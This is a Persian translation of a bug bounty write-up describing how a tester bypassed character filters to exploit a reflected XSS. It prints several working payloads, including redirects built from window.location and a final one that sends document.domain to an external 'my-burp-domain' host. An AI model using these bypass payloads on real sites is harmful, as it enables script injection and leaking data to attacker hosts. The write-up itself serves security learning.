در این پست قصد داریم تا به نحوه اکسپلویت آسیب پذیری XSS یا Cross Site Scripting و Bypass برخی از محدودیت ها در این آسیب پذیری بپردازیم.
یکی از شکارچیان باگ، اخیرا در یک برنامه باگ بانتی خصوصی، اقدام به شناسایی یک آسیب پذیری XSS جالب نموده است که محدودیت استفاده از کاراکترهای خاص موجود در یک Endpoint آسیب پذیری را دور می زند. ورودی کاربر در موارد زیر منعکس می شود:
در صورتی که امکان استفاده از کاراکتر ‘ وجود داشته باشد، این آسیب پذیری یک XSS ساده و سرراست به نظر می رسد. به صورت کلی پیلود ‘- alert(0) – ‘ باید در این هدف اجرا شود که متاسفانه این آغاز چالش تست نفوذگر است.
تست نفوذگر متوجه می شود که کاراکترهای خاص در این برنامه فیلتر شده اند. (هنگام درج، از محتوا حذف می شوند)
پس از کمی Fuzzing، تست نفوذگر متوجه می شود که تنها کاراکترهای , . = : @ # ? * % در خروجی منعکس می شوند.
تست نفوذگر تلاش می کند تا با استفاده از برنامه JSFiddle، پیلودهای مورد نظر خود را آزمایش نماید. وی متوجه می شود که به جای استفاده از عبارت dash، می تواند از علامت کاما استفاده نماید و پیلود نهایی وی ‘,alert(0),’ می شود.
البته هنوز همه چیز به پایان نرسیده است. توجه داشته باشید که پرانتزها امکان اجرا را در هدف مورد نظر ندارند.
بدین ترتیب، تست نفوذگر تلاش می کند که راهی برای اجرای alert پیدا نماید تا آسیب پذیری XSS را اثبات نماید. با این حال، هیچ یک از راه های ممکن امکان اجرا را ندارند به جز عبارت location=name.
در ادامه تست نفوذگر، تمرکز خود را بر روی آن می گذارد و از هم تیمی های خود در مورد نحوه ادامه کار و اکسپلویت این آسیب پذیری سوال می کند. وی در ادامه متوجه می شود که پیلود زیر در برنامه JSFiddle اجرا می شود:
‘,document.location=’javascript:document.domain’,’
آیا همه چیز تمام شده است؟ هنوز خیر.
هنگام تست در برنامه JSFiddle همه چیز درست است ولی هنگام تست در سایت هدف، این پیلود نیز اجرا نشده و سرور زمانی که درخواست ارسال شده حاوی رشته های غیرمجازی مانند javascript:document.* باشد ارور 500 را به تست نفوذگر نمایش می دهد.
در تست بعدی تست نفوذگر متوجه می شود که می تواند از طریق window.location=http://url، درخواست را به صفحه دیگر هدایت نماید. مشکل بعدی قرار داشتن // در لیست کاراکترهای غیرمجاز سایت هدف است. البته درخواست ارسالی بدون اسلش هم به صفحه دیگر هدایت می شود و امکان استفاده از پیلود مورد نظر به صورت window.location=http:url، امکان پذیر است.
در این مرحله، موارد به دست آمده به منظور اثبات اجرای کد جاوا اسکریپت کافی می باشد. ولی از دیدگاه مشتری (تایید کنندگان آسیب پذیری) این دقیقا مانند یک آسیب پذیری open redirection می باشد.
من هنوز باید نمایش دهم که امکان قرار دادن محتوا به دامین خارجی وجود دارد. به صورت کلی پیلود زیر این کار را انجام می دهد:
‘,window.location=’http:my-url/’%2bdocument.domain%2b,’
اما این پیلود نیز در سایت هدف اجرا نمی شود زیرا شامل یک اسلش می باشد. بدین ترتیب، تست نفوذگر باید به دنبال پیلود دیگری باشد. وی مجدد با یکی از هم تیمی های خود در این رابطه گفت و گو می کند که پیشنهاد هم تیمی او، استفاده از subdomain است. پیشنهاد وی کار می کند و پیلود نهایی به صورت زیر در می آید:
‘,window.location=’http:’%2bdocument.domain%2b’.my-burp-domain’,’
منبع:
https://blog.yappare.com/2020/10/i-had-fun-with-this-xss.html
